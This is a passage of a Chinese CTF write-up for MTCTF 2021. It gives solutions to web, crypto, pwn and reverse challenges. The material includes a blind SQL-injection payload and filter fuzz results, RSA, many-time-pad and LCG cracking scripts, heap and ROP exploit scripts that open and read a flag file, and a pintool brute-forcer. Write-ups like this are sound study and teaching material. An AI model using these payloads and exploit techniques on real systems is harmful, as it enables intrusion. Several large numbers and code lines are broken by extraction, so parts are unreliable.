MTCTF2021-Venom-WriteUp

Web

---

sql

解题思路

fuzz：

```
0       200 false   false   1063
1   length  200 false   false   1018
2   +   200 false   false   1063
3   handler 200 false   false   1018
4   like    200 false   false   1018
5   select  200 false   false   1018
6   sleep   200 false   false   1063
7   database    200 false   false   1063
8   delete  200 false   false   1018
9   having  200 false   false   1063
10  or  200 false   false   1063
11  as  200 false   false   1063
12  -~  200 false   false   1018
13  BENCHMARK   200 false   false   1063
14  limit   200 false   false   1063
15  left    200 false   false   1063
16  select  200 false   false   1018
17  insert  200 false   false   1063
18  sys.schema_auto_increment_columns   200 false   false   1063
19  join    200 false   false   1063
20  right   200 false   false   1063
21  #   200 false   false   1063
22  &   200 false   false   1063
23  &&  200 false   false   1063
24  \   200 false   false   1063
25  handler 200 false   false   1018
26  -- -    200 false   false   1018
27  --  200 false   false   1018
28  --+ 200 false   false   1018
29  INFORMATION 200 false   false   1063
```

```
30  --  200 false   false   1018
31  ;   200 false   false   1018
32  !   200 false   false   1063
33  %   200 false   false   1063
34  +   200 false   false   1063
35  xor 200 false   false   1063
36  <>  200 false   false   1018
37  (   200 false   false   1063
38  >   200 false   false   1018
39  <   200 false   false   1018
40  )   200 false   false   1063
41  .   200 false   false   1063
42  ^   200 false   false   1063
43  =   200 false   false   1018
44  AND 200 false   false   1018
45  BY  200 false   false   1063
46  CAST    200 false   false   1063
47  COLUMN  200 false   false   1063
48  COUNT   200 false   false   1063
49  CREATE  200 false   false   1063
50  END 200 false   false   1063
51  case    200 false   false   1063
52  '1'='1  200 false   false   1018
53  when    200 false   false   1063
54  admin'  200 false   false   1018
55  "   200 false   false   1018
56  length  200 false   false   1018
57  +   200 false   false   1063
58  length  200 false   false   1063
59  REVERSE 200 false   false   1063
60  ascii   200 false   false   1018
61  select  200 false   false   1018
62  database    200 false   false   1063
63  left    200 false   false   1063
64  right   200 false   false   1063
65  '   200 false   false   1018
66  union   200 false   false   1018
67  ||  200 false   false   1063
68  oorr    200 false   false   1063
69  /   200 false   false   1063
70  //  200 false   false   1063
71  //* 200 false   false   1063
72  */* 200 false   false   1063
73  /**/    200 false   false   1063
74  anandd  200 false   false   1018
75  GROUP   200 false   false   1063
76  HAVING  200 false   false   1063
77  IF  200 false   false   1018
78  INTO    200 false   false   1018
```

```
79  JOIN    200 false   false   1063
80  LEAVE   200 false   false   1063
81  LEFT    200 false   false   1063
82  LEVEL   200 false   false   1063
83  sleep   200 false   false   1063
84  LIKE    200 false   false   1018
85  NAMES   200 false   false   1063
86  NEXT    200 false   false   1063
87  NULL    200 false   false   1063
88  OF  200 false   false   1063
89  ON  200 false   false   1063
90  |   200 false   false   1063
91  infromation_schema  200 false   false   1063
92  user    200 false   false   1063
93  OR  200 false   false   1063
94  ORDER   200 false   false   1063
95  ORD 200 false   false   1063
96  SCHEMA  200 false   false   1063
97  SELECT  200 false   false   1018
98  SET 200 false   false   1063
99  TABLE   200 false   false   1063
100 THEN    200 false   false   1063
101 UPDATE  200 false   false   1063
102 USER    200 false   false   1063
103 USING   200 false   false   1063
104 VALUE   200 false   false   1063
105 VALUES  200 false   false   1063
106 WHEN    200 false   false   1063
107 WHERE   200 false   false   1018
108 ADD 200 false   false   1063
109 AND 200 false   false   1018
110 prepare 200 false   false   1063
111 set 200 false   false   1063
112 update  200 false   false   1063
113 delete  200 false   false   1018
114 drop    200 false   false   1063
115 inset   200 false   false   1063
116 CAST    200 false   false   1063
117 COLUMN  200 false   false   1063
118 CONCAT  200 false   false   1063
119 GROUP_CONCAT    200 false   false   1063
120 group_concat    200 false   false   1063
121 CREATE  200 false   false   1063
122 DATABASE    200 false   false   1063
123 DATABASES   200 false   false   1063
124 alter   200 false   false   1063
125 DELETE  200 false   false   1018
126 DROP    200 false   false   1063
127 floor   200 false   false   1063
```

```
128 rand()  200 false   false   1018
129 information_schema.tables   200 false   false   1063
130 TABLE_SCHEMA    200 false   false   1063
131 %df 200 false   false   1063
132 concat_ws() 200 false   false   1063
133 concat  200 false   false   1063
134 LIMIT   200 false   false   1063
135 ORD 200 false   false   1063
136 ON  200 false   false   1063
137 extractvalue    200 false   false   1063
138 order   200 false   false   1018
139 CAST()  200 false   false   1063
140 by  200 false   false   1063
141 ORDER   200 false   false   1063
142 OUTFILE 200 false   false   1018
143 RENAME  200 false   false   1063
144 REPLACE 200 false   false   1063
145 SCHEMA  200 false   false   1063
146 SELECT  200 false   false   1018
147 SET 200 false   false   1063
148 updatexml   200 false   false   1063
149 SHOW    200 false   false   1063
150 SQL 200 false   false   1063
151 TABLE   200 false   false   1063
152 THEN    200 false   false   1063
153 TRUE    200 false   false   1063
154 instr   200 false   false   1063
155 benchmark   200 false   false   1063
156 format  200 false   false   1063
157 bin 200 false   false   1063
158 substring   200 false   false   1018
159 ord 200 false   false   1063
160 UPDATE  200 false   false   1063
161 VALUES  200 false   false   1063
162 VARCHAR 200 false   false   1063
163 VERSION 200 false   false   1063
164 WHEN    200 false   false   1063
165 WHERE   200 false   false   1018
166 /*  200 false   false   1063
167 `   200 false   false   1063
168 ,   200 false   false   1063
169 users   200 false   false   1063
170 %0a 200 false   false   1063
171 %0b 200 false   false   1063
172 mid 200 false   false   1018
173 for 200 false   false   1063
174 BEFORE  200 false   false   1063
175 REGEXP  200 false   false   1063
176 RLIKE   200 false   false   1018
```

```
177 in  200 false   false   1063
178 sys schemma 200 false   false   1018
179 SEPARATOR   200 false   false   1063
180 XOR 200 false   false   1063
181 CURSOR  200 false   false   1063
182 FLOOR   200 false   false   1063
183 sys.schema_table_statistics_with_buffer 200 false   false   1063
184 INFILE  200 false   false   1063
185 count   200 false   false   1063
186 %0c 200 false   false   1063
187 from    200 false   false   1063
188 %0d 200 false   false   1063
```

1063的都可以用
hex(hex())双重编码，时间盲注case when

```
"password": "||/**/case/**/when(left(hex(hex(password)),{})/**/regexp/**/binary/**/{})then/**/sleep(2)/**/else/**/0/**/end#".format(i, tmp)
```

admin/This_1s_thE_Passw0rd

Crypto

easy_RSA

解题思路

第一步搜rsa padding attack，找到这篇文章https://www.anquanke.com/post/id/158944，直接用里面的脚本

```
import gmpy2
import libnum
from Crypto.Util.number import *
n=0x9371c61a2b760109781f229d43c6f05b58de65aa2a674ff92334cb5219132448d72c1293c145eb6f35e58791669f2d8d3b6ce506f4b3543beb947cf119f463a00bd33a33c4d566c4fd3f4c73c697fa5f3bf65976284b9cc96ec817241385d480003cdda9649fa0995b013e66f583c9a9710f7e18396fbf461cb31720f94a0f79L
e=0x3
#encrypt(m):
c_pad=0x5f4e03f28702208b215f39f1c8598b77074bfa238dfb9ce424af7cc8a61f7ea48ffbbd5a5e1a10f686c3f240e85d011f6c8b968d1d607b2e1d5a78ad6947b7d3ec8f33ad32489befab601fe745164e4ff4aed7630da89af7f902f6a1bf7266c9c95b29f2c69c33b93a709f282d43b10c61b1a1fe76f5fee970780d7512389fd1L
c_pad_add_1=0x5f4e03f28702208b215f39f1c8598b77074bfa238dfb9ce424af7cc8a61f7ea48ffc5c26b0c12bcff9f697f274f59f0e55a147768332fc1f1bac5bbc8f9bb508104f23
```

```
2bdd20091d26adc52e36feda4a156eae7dce4650f83fabc828fdcfb01d25efb98db8b94811ca855a6aa77caff991e7b986db844ff7a140218449aaa7e8L
c1 =c_pad
c2 = c_pad_add_1
m2 = (-3*c2-3)/(c1-c2-2)%n-1
# print(m2)
def getM2(a,b,c1,c2,n):
    a3 = pow(a,3,n)
    b3 = pow(b,3,n)
    first = c1-a3*c2+2*b3
    first = first % n
    second = 3*b*(a3*c2-b3)
    second = second % n
    third = second*gmpy2.invert(first,n)
    third = third % n
    fourth = (third+b)*gmpy2.invert(a,n)
    return fourth % n
m = getM2(1,-1,c1,c2,n)
print libnum.n2s(m)
```

解出key：everything_is_easy_in_this_questioo，最后一个字母改成n
第二步找到这篇文章http://dann.com.br/alexctf2k17-crypto100-many_time_secrets/，利用里面的脚本，求解得到key是u*timple encrypzi*n.l h*,没有解出的五位根据下面的脚本对flag{}的格式进行爆破，得到flag是flag{it_1s_P@dd1nQ@+d_p@d}，但此时提交不正确，猜测是脚本有一点问题，找到网上另一篇题解[https://www.jianshu.com/p/a00157b981b5](https://www.jianshu.com/p/a00157b981b5?fileGuid=fEUc02LMoD4XIlY1)，参考文章，使用这个工具计算flag，发现是字母Q这里应该换成下划线，更换后提交，最终拿到flag

flag{it_1s_P@dd1n_@nd_p@d}

```
#!/usr/bin/python
## OTP - Recovering the private key from a set of messages that were encrypted w/ the same private key (Many time pad attack) - crypto100-many_time_secret @ alexctf 2017
# @author intrd - http://dann.com.br/
# Original code by jwomers: https://github.com/Jwomers/many-time-pad-attack/blob/master/attack.py)
import string
import collections
import sets, sys
# 11 unknown ciphertexts (in hex format), all encrpyted with the same key
c1="280316470206017f5f163a3460100b111b2c254e103715600f13"
c2="091b0f471d05153811122c70340c0111053a394e0b39500f0a18"
c3="4638080a1e49243e55531a3e23161d411a362e4044111f374409"
c4="0e0d15470206017f59122935601405421d3a244e10371560140f"
c5="031a08080e1a540d62327f242517101d4e2b2807177f13280511"
c6="0a090f001e491d2c111d3024601405431a36231b083e022c1d"
c7="16000406080c543854077f24280144451c2a254e093a0333051a"
c8="020507011120a01334553393f32441d5e1b716027107f19334417"
```

```
c9="131f15470800192f5d167f352e0716481e2b29010a7139600c12"
c10="1609411e141c543c501d7f232f0812544e2b2807177f00320b1f"
c11="0a090c470a1c1d3c5a1f2670210a0011093a344e103715600712"
c12="141e04040f49153142043a22601711520d3a331d0826"
ciphers = [c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11,c12]
# The target ciphertext we want to crack
# target_cipher = "2239373d6f740a1e3c651f207f2c212a247f3d2e65262430791c"
target_cipher="131f15470800192f5d167f352e0716481e2b29010a7139600c12"
# XORs two string
def strxor(a, b):     # xor two strings (trims the longer input)
    return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b)])
# To store the final key
final_key = [None]*150
# To store the positions we know are broken
known_key_positions = set()
# For each ciphertext
for current_index, ciphertext in enumerate(ciphers):
    counter = collections.Counter()
    # for each other ciphertext
    for index, ciphertext2 in enumerate(ciphers):
        if current_index != index: # don't xor a ciphertext with itself
            for indexOfChar, char in
enumerate(strxor(ciphertext.decode('hex'), ciphertext2.decode('hex'))): #
Xor the two ciphertexts
                # If a character in the xored result is a alphanumeric
character, it means there was probably a space character in one of the
plaintexts (we don't know which one)
                if char in string.printable and char.isalpha():
counter[indexOfChar] += 1 # Increment the counter at this index
    knownSpaceIndexes = []
    # Loop through all positions where a space character was possible in
the current_index cipher
    for ind, val in counter.items():
        # If a space was found at least 7 times at this index out of the 9
possible XORS, then the space character was likely from the current_index
cipher!
        if val >= 7: knownSpaceIndexes.append(ind)
    #print knownSpaceIndexes # Shows all the positions where we now know
the key!
    # Now Xor the current_index with spaces, and at the knownSpaceIndexes
positions we get the key back!
    xor_with_spaces = strxor(ciphertext.decode('hex'),' '*150)
    for index in knownSpaceIndexes:
        # Store the key's value at the correct position
        final_key[index] = xor_with_spaces[index].encode('hex')
        # Record that we known the key at this position
        known_key_positions.add(index)
# Construct a hex key from the currently known key, adding in '00' hex
chars where we do not know (to make a complete hex string)
```

```
final_key_hex = ''.join([val if val is not None else '00' for val in final_key])
# Xor the currently known key with the target cipher
output = strxor(target_cipher.decode('hex'),final_key_hex.decode('hex'))
print "Fix this sentence:"
print ''.join([char if index in known_key_positions else '*' for index, char in enumerate(output)])+"\n"
# WAIT.. MANUAL STEP HERE
# This output are printing a * if that character is not known yet
# fix the missing characters like this: "Let*M**k*ow if *o{*a" = "cure, Let Me know if you a"
# if is too hard, change the target_cipher to another one and try again
# and we have our key to fix the entire text!
#sys.exit(0) #comment and continue if u got a good key
# target_plaintext = "cure, Let Me know if you a"
# u*t**imple encrypzi*n.I h*
import string
allstr = string.printable
for i in allstr:
    target_plaintext="ust simple encrypzi*n.I h"+i
    print "Fixed:"
    print target_plaintext+"\n"
    key = strxor(target_cipher.decode('hex'),target_plaintext)
    print "Decrypted msg:"
    for cipher in ciphers:
        print strxor(cipher.decode('hex'),key)
    print "\nPrivate key recovered: "+key+"\n"
    if key[-1]=="}":
        print(target_plaintext)
        print(key)
        exit()
```

---

random

解题思路

多次连接发现接收的数据相同，则得到e*d+n ， `e*d-n` ，进而得到 e*d和 n。枚举 e*d−1的因数可测试出 phi = (p−1)(q−1)，进而得到p,q ，对e*d枚举因数多次nc，得到正确的pow(m,d,p)，进而得到LCG数据，根据博客，得到种子，即为flag

计算pq

```
from Crypto.Util.number import long_to_bytes, bytes_to_long
import gmpy2
edn = 35633297540489769466037294664262360520001411667008399033232552682031857090204944
501733698062146668509430761881757786675089462704927083974479505217323240591483902327440110000659828659741949867267396380975663031355730721144486150952620
```

```
655475
185895204239537541715159367662182593906978376786513865776855376771703497 0
ednn =
356312171891723458872378646327555582687523238069116591903371892495840635381 08134
801847442190467178380784970904037510072545451877201076029593818817158758982 43474
504999760208133192572812110967142474619366650504948619637909653723376917174 45609
139622057684125979879207876919836907298206371620669058955460499247078775 2
ed = (edn+ednn)//2
n = (edn-ednn)//2
edList =
[3,47,97,157,1601,21851,56277292709098311733,8428630032496824723668771196277 9140
778422721220582636977024124162410259923362389495651548903820023188282351579 62757
205175657968687775656340504398412861367309584989089854842168123907457903793 84069
380694859486312946676748208469080046559332149394110283426861163444586148612 46169
6703]
ed1List =
[2,2,2,2,2,2,5,11,17,593,2141,58248779,506586621329,1589424300804567534454 861989
216833364150016472075680532492905578997918376668668100642958249734666227425 57532
257671933394760892342906751351224477861544316690051572980448555773158828357 87840
156854892096681973959234525474837459943660161856992837390113892658759645533 20774
201026175906413]
for i in range(pow(2,len(ed1List))): q=i
    phi = 1
    for j in ed1List:
        if q&1:
            phi *= j
        q >>=1
    ppq = n-phi+1
pnq = gmpy2.iroot(pow(ppq,2)-4*n,2)
if pnq[1]:
    pnq=pnq[0]
    p=(ppq+pnq)//2
    q=ppq-p
    print('p = ',p)
    print('q = ',q)
# q=
947301680195179777126784644545973847397342158805814069525303151170040753 39
```

```
358723
9726473163190117466515927887865803509423122806387848014555608820664104277934
# p=
1098040550817427125992533316634357955371906131694194519032393908366548990228616834
8612296645893652100263882981734824967572646979964047946850646746682724797734
# phi = (p-1)*(q-1)
```

爆破d

```
from zio3 import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
edList =
[3,47,97,157,1601,21851,56277292709098311733,842863003249682472366877119627791407784227212205826369770241241624102599233623894956515489038200231882823515796275720517565796868777565634050439841286136730958498908985484216812390745790379384069380694859486312946676748208469080046559332149394110283426861163444586148612461696703]
p=
9473016801951797771267846445459738473973421588058140695253031511700407533935872397263190117466515927887865803509423122806387848014555608820664104277934
q=
1098040550817427125992533316634357955371906131694194519032393908366548990228616834
8612296645893652100263882981734824967572646979964047946850646746682724797734
m = bytes_to_long('you_can_get_more_message'.encode())
for i in range(pow(2,len(edList))):
    target=('47.105.112.9',1123)
    io = zio(target, timeout=1000000, print_read=COLORED(RAW,'red'), print_write=COLORED(RAW,'green')
    io.read_until('enter sign:\n')
    d=1
    q1 = i
    for h in edList:
        if q1&1:
            d*=h
        q1>>=1
    C = pow(m,d,p)
    io.writeline(str(C))
    sss = io.read_until('\n')
    if sss !=b'error\n':
        break
    io.interact()
# LCG has 10 consecutive outputs:
```

```
#[
#
373207461671623820087376019958358658538005041346424780658116499432866936280
56858 31589304096519259751316788496505512L,
#
889020410002643234774595552531028821910539847878753728765026701587339597931
89887 53693294398552098138526129849364748L,
#
344307231541519820980708360837797317710170991115581498688336855116257288936
92887 98755476092593196361644768257296318L,
#
450527808990863331989796465516481052624098240650279022924700809960037666147
57103 76587203809096899113787029887577355L,
#
905964627329109917595537196941355559193431828915680231496713219575269254926
35324 07952697867959054045527470269661073L,
#
308502406338164832678867729416859167542330228602627144184885636903258204951
29154 65082428729187341510738008226870900L,
#
829602898428855915492844262234161637629320583471650776650077048226197342404
41110 61163369828951815135486853862929166L,
#
225875025995436317142641556114557913551112733614262630602186897206443474209
23926 44953647611210700787749996466767026L,
#
438212313003494454265515657500071085107884229536735394319951287851463943477
01616 02326115915913531417058547954936492L,
#
109829335982234278520054727485433799136018963986478116809645791613391289089
76511 17338289654910429603148324390094392 5L
#]
```

获得seed

```
from functools import reduce
from Crypto.Util.number import GCD,inverse,long_to_bytes
dataList = [
373207461671623820087376019958358658538005041346424780658116499432866936280
56858 31589304096519259751316788496505512,
889020410002643234774595552531028821910539847878753728765026701587339597931
89887 53693294398552098138526129849364748,
344307231541519820980708360837797317710170991115581498688336855116257288936
92887 98755476092593196361644768257296318,
450527808990863331989796465516481052624098240650279022924700809960037666147
57103 76587203809096899113787029887577355,
905964627329109917595537196941355559193431828915680231496713219575269254926
35324 07952697867959054045527470269661073,
308502406338164832678867729416859167542330228602627144184885636903258204951
29154 65082428729187341510738008226870900,
```

```
829602898428855915492844262234161637629320583471650776650077048226197342404411110 611633698289518151354868538629291660,225875025995436317142641556114557913551112733614262630602186897206443474209239260 449536476112107007877499964667670260,438212313003494454265515657500071085107884229536735394319951287851463943477016160 232611591591353141705854795493649200,109829335982234278520054727485433799136018963986478116809645791613391289089765110 173382896549104296031483243900943925
]
def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * inverse(states[1] - states[0], modulus) % modulus # 注意这里求逆元
    return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(GCD, zeroes))
    return crack_unknown_multiplier(states, modulus)
m,a,b = crack_unknown_modulus(dataList)
inva = inverse(a,m)
cipher = (inva*(dataList[0]-b+m)%m)%m
print(long_to_bytes(cipher))
```

flag：flag{Y0u_K0nw_everyTh1ng_1$_e@sy}

Pwn

baby_focal

edit可以越界写0x10字节，可以通过unlink劫持bss段指针，修改_IO_2_1_stdout_来leak libc地址，然后劫持free_hook做orw rop.

```
from pwn import *
def add(idx, size):
    p.sendlineafter(">> ", "1")
    p.sendlineafter(">> ", str(idx))
    p.sendlineafter(">> ", str(size))
def edit(idx, content):
    p.sendlineafter(">> ", "2")
    p.sendlineafter(">> ", str(idx))
    p.sendafter(">> ", content)
def free(idx):
    p.sendlineafter(">> ", "3")
    p.sendlineafter(">> ", str(idx))
while 1:
    p = process("./baby_focal1")
```

```
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p.sendlineafter("name: ", "111")
    for i in range(7):
        add(0, 0x68)
        free(0)
    for i in range(7):
        add(0, 0xf0)
        free(0)
    for i in range(7):
        add(0, 0x80)
        free(0)
    add(0, 0x68)
    add(1, 0x88)
    add(2, 0x28)
    edit(0, p64(0)+p64(0x61)+p64(0x404060-0x18)+p64(0x404060-
0x10)+b"a"*0x40+p64(0x60)+p64(0x90)+b'\n')
    free(1)
    add(1, 0xe0)
    add(1, 0x28)
    add(2, 0x88)
    add(3, 0x68)
    add(4, 0x508)
    free(3)
    edit(1, b"A"*0x28+p64(0x101)+b'\n')
    free(2)
    add(2, 0x88)
    edit(2, b"A"*0x88+p64(0x71)+b'\x5d\xd6\n')
    add(3, 0x68)
    add(3, 0x68)
    try:
        edit(3, b"\x00"*0x33+p64(0xfbad1800)+b'\x00'*0x19+b'\n')
        libc.address = u64(p.recvuntil("\x7f")
[-6:]+b'\x00'*2)-0x00007ffff7fac980+0x7ffff7dc1000
        print(hex(libc.address))
        edit(0,
b"A"*0x18+p64(0x404070)+p64(0x10)+p64(libc.sym['__free_hook'])+p64(0x10)+p
64(0x4040a0)+b'\n')
        edit(1, p64(0x0000000000401130)+b'\n')
        free(2)
        p.recvuntil("\n")
        heap = u64(p.recvuntil("\n",drop=True).ljust(8, b'\x00'))
        print(hex(heap))
        edit(1, p64(libc.address+0x0000000000154930)+b'\n')
        payload =
p64(0)+p64(heap)+p64(0)*2+p64(libc.address+0x580dd)+b'\x00'*0x78+p64(heap+
0xb0)
        rop =
p64(libc.address+0x26b72)+p64(heap+0x150)+p64(libc.address+0x0000000000027
529)+p64(0)+p64(libc.sym['open'])
```

```
        rop += p64(libc.address+0x26b72)+p64(3)+p64(libc.address+0x0000000000027529)+p64(heap)+p64(libc.address+0x000000000011c371)+p64(0x30)+p64(0)+p64(libc.sym['read'])
        rop += p64(libc.address+0x26b72)+p64(1)+p64(libc.address+0x0000000000027529)+p64(heap)+p64(libc.address+0x000000000011c371)+p64(0x30)+p64(0)+p64(libc.sym['write'])
        edit(4, payload+rop+b'./flag\x00'+b'\n')
        free(4)
        p.interactive()
    except:
        p.close()
```

---

zlink

add函数里面存在off by null，通过向上合并制造chunk overlap

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.arch = 'amd64'
libc = ELF("./libc.so.6")
p = remote("115.28.187.226", 22435)
def add(idx, size, content="a"):
    p.sendlineafter(":", "1")
    p.sendlineafter(":", str(idx))
    p.sendlineafter(": ", str(size))
    p.sendafter(":", content)
def show(idx):
    p.sendlineafter(":", "5")
    p.sendlineafter(":", str(idx))
def edit(idx, content):
    p.sendlineafter(":", "6")
    p.sendlineafter(":", str(idx))
    p.sendafter(":", content)
def free(idx):
    p.sendlineafter(":", "2")
    p.sendlineafter(":", str(idx))
def exp():
    p.sendlineafter(":", "4")

    add(0, 0x28, p64(0)+p64(0x21)+p64(0)+p64(0x21))
    free(14)
    add(1, 0x48)
    show(1)
    p.recvuntil("Content : ")
```

```
    libc.address = u64(p.recv(6)+'\x00'*2)-0x00007ffff7dd1c61+0x7ffff7a0d000
    print hex(libc.address)
    add(2, 0x38)
    add(10, 0x68, p64(libc.address+0x3c4b80-0x18)+p64(libc.address+0x3c4b80-0x10))
    edit(15, "\x00"*0x4f0+p64(0)+p64(0x21))
    free(15)
    add(3, 0x68)
    add(4, 0x68)
    free(3)
    free(4)
    free(10)
    add(3, 0x68, p64(libc.sym['__free_hook']-0x18))
    add(4, 0x68)
    add(5, 0x68)
    add(6, 0x68, "\x00"*8+p64(libc.sym['setcontext']+53))
    add(7, 0x50)
    add(8, 0x70, "A"*0x8+p64(0)+p64(libc.address+0x3c6000)+p64(0)+p64(0)+p64(0x100)+p64(0)*2+p64(libc.address+0x3c6000)+p64(libc.address+0xbc3f5))
    #gdb.attach(p, "b free")
    free(7)
    pause()
    payload = [
    libc.address + 0x0000000000021112,
    libc.address + 0x3c6000,
    libc.address + 0x00000000000202f8,
    0x2000,
    libc.address + 0x0000000000001b92,
    7,
    libc.address + 0x000000000003a738,
    10,
    libc.address + 0x00000000000bc3f5,
    libc.address + 0x0000000000002a71
    ]
    shellcode = asm('''
    sub rsp, 0x800
    push 0x67616c66
    mov rdi, rsp
    xor esi, esi
    mov eax, 2
    syscall
    mov edi, eax
    mov rsi, rsp
    mov edx, 0x30
    xor eax, eax
    syscall
    mov edx, eax
```

```
    mov rsi, rsp
    mov edi, 1
    mov eax, edi
    syscall
    ''')
    p.send(flat(payload) + shellcode)


    p.interactive()
if __name__ == '__main__':
    exp()
```

---

blind

```
from pwn import *
context.arch = 'amd64'
p = remote("115.28.187.226", 12435)
p.sendafter("\n", "%"+str(0x2b3)+"c%26$hn"+p64(0x400913))
pause()
rop1 = [
0x400a43,
0,
0x400a41,
0x601028,
0,
0x400690,
]
rop2 = [
0x400a43,
0,
0x400a41,
0x601800,
0,
0x400690
]
rop3 = [
0x400a3a,
0,
0,
0x601808,
0,
0,
0x601800,
0x400a20
]
p.send("a"*0x38+flat(rop1)+flat(rop2)+flat(rop3))
```

```
pause()
p.send("\xee")
pause()
payload = "/bin/sh\x00"+p64(0x400680)
p.send(payload.ljust(59, "\x00"))
p.interactive()
```

Reverse

100mazes

解题思路

发现是100个迷宫，本来是选择深搜去跑的，后面dump下迷宫发现符号有问题，然后就放弃了，发现都是单字节的判断，所以直接选择pintool，跑就完事了

```
import subprocess
import os
import logging
import json
import string
import time
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
class shell(object):
    def runCmd(self, cmd):
        res = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
                               stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)
        sout, serr = res.communicate()
        return res.returncode, sout, serr, res.pid
    def initPin(self, cmd):
        res = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
                               stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)
        self.res = res
    def pinWrite(self, input):
        self.res.stdin.write(input)
    def pinRun(self):
        sout, serr = self.res.communicate()
        return sout, serr
filename = "./100mazes"
cmd = "./pin -t " + \
    "/home/giantbranch/pin/source/tools/ManualExamples/obj-
intel64/inscount0.so" + " -- " + filename
print cmd
```

```
subprocess.Popen(cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
#### brup args ascii
start_time = time.time()
#dic = string.letters+'_{}'+string.digits
chs="gMp9"
chs1="SlOC"
chs2="3nrt"
chs3="Km4T"
chs4="SJDx"
chs5="jPt3"
chs6="cQyv"
chs7="1DAK"
chs8="j94Y"
chs9="xWnQ"
chs10="6NAW"
chs11="QYk1"
chs12="wxhB"
chs13="yVPS"
chs14="gzhp"
chs15="gru0"
chs16="s3Xt"
chs17="KwqE"
chs18="j1zo"
chs19="Xm5K"
chs20="8FQ4"
chs21="njRl"
chs22="oQ6m"
chs23="JpSR"
chs24="kBFS"
chs25="GXvC"
chs26="GxWE"
chs27="Q641"
chs28="yhuH"
chs29="euFk"
chs30="5TFb"
chs31="fnLo"
chs32="GXVP"
chs33="o4BW"
chs34="k0GT"
chs35="WdZA"
chs36="8nHd"
chs37="IJNY"
chs38="Np0Q"
chs39="zZTf"
chs40="Uemp"
chs41="MlVn"
chs42="u9LO"
chs43="BSgQ"
```

```
chs44="bguj"
chs45="8vpi"
chs46="jMot"
chs47="ucTM"
chs48="mDSn"
chs49="jC3h"
chs50="pZx1"
chs51="UEGW"
chs52="T0Eo"
chs53="UE9K"
chs54="gi2v"
chs55="e0pV"
chs56="uN1v"
chs57="C5kI"
chs58="F9ez"
chs59="5pBF"
chs60="MnBa"
chs61="gst4"
chs62="bfDH"
chs63="qIct"
chs64="UpzJ"
chs65="Orvt"
chs66="QpZC"
chs67="6OkS"
chs68="ZOvT"
chs69="vaGK"
chs70="djYM"
chs71="Q5OL"
chs72="BUfv"
chs73="Pzdf"
chs74="hzX8"
chs75="AHfD"
chs76="KUQp"
chs77="PhqJ"
chs78="DHog"
chs79="36Ct"
chs80="OzL3"
chs81="3xeh"
chs82="vUYr"
chs83="vwGc"
chs84="nyJw"
chs85="cdUn"
chs86="OYNr"
chs87="Wm0F"
chs88="szQa"
chs89="bLYG"
chs90="msfV"
chs91="QKWV"
chs92="stLV"
```

```
chs93="ZMj4"
chs94="Wdna"
chs95="hiWI"
chs96="fR83"
chs97="FkfS"
chs98="rpks"
chs99="MWDi"
#3nrtKm4TSJDxjPt3cQyv"
s=''
shell = shell()
shellx1="99g99M9999ggggpCSSSOOlOllOlOOOrrrnnnnrnntttntTmm44m44K444m44DDJJxJJDJJDDDDS"
shellx2="tjtjjttPtPPPtPPQvQQyQQQyQQQvvc11KKDKDDAADDDAA4444jjjYjYYY99YQQQxxQQxxnxnnxn"
shellx3="66A6AANNWNNWNNWY1YYY1Y11QQQQ1QBBxxhhhhhhxhxhxPyPPVVVPPPyyPPVpzzzzpzzhhhhhzh"
shellx4="uuggguururrr00rssXX3X3X33t3t3tqKqqKKEEKEEEwEw1zzjzjjojojoojomKmmmKKXXXKKXKX"
shellx5="QQFFQFFQQ8Q88QQllRRlljjllllRlRo666o6oooommQmQJJRJJJSJSJSJSJJBFFBFBFBBFBFFkF"
shellx6="CCGGCCXCCXXvvXXxEEGGGWGWWGGWWx4464644QQQ44Q44HyyHHhHHHyyHHHyeFFFFeFFuuuuuuk"
shellx7="TbTTFTFTFF55555LfffLffffooooonnXXPPGPPGPGGGGPPBooBoBB4BBB44B4TkTTkkkGG0GG00G"
shellx8="ZZdZddAdAAAAAAW8d88HHHHHnnHnnHJJNJNJNJJJYYIYYNN00ppppQpQpppQzTTTzTzTTTTZZfZ"
shellx9="UpppppeppUUpUUmUVMVVlVlVVVMVMVVL9L99O99999O9OOBQBQQSSSSSSSgSjgjgjgggguggjgg"
shellx10="vpvppp88p8pppppojojjooooojojjjTcTTTTuTTcTTTTTmnnDnDDSDDnDnDn3C3C3C3C333jjhj"
shellx11="xxZZxZxZxxxxxxxWWUUWWUUUWWEWEEo00o000EE00E000KKEKEKEEEEKKEE9viiviiivvggggg2"
shellx12="00V000VVeVV0VVVvvuu1u1u1u111NNCkCCCkkk55I5555zFzz9z99eeeeeFe5BBBBppBppppFpp"
shellx13="MMMMMMaaanannna4gggg4ggtttssssfHfHHDDHDDDDHDDcqcqqqqqqtqqccIppzpzzppzppzzUz"
shellx14="rvvrvrrtrtrrvrrCppZppCppCCQCCQOkOkOOSSOSS66SS"
shellx15="ZvvvvOOTTTOOOTOvvKKvvGvvvGGaaaYddMMdMdMMjMjMMQOQOO555LL5LLLQvvBvBBfBBfffBBv"
shellx16="dzdzdzdzzfzfzfffzXXXhXhXhXhhhhXADAAAAffHHffAfAKQKQQKKpppKpKKphhJJhJhJhJJJPPq"
shellx17="oooHHHoHoHooDoDC3333CC6CC666C6LOLOLOLOLOOLOOOxexxee3ee33eeeerrvrrrrvvYYYYYY"
shellx18="vvvvvGGGGGwGwGGJnJJnnnnwwwywwnncccncnccUcUUUdOrOOOrOrrYYYNYYW0WW00W00WWWFWF"
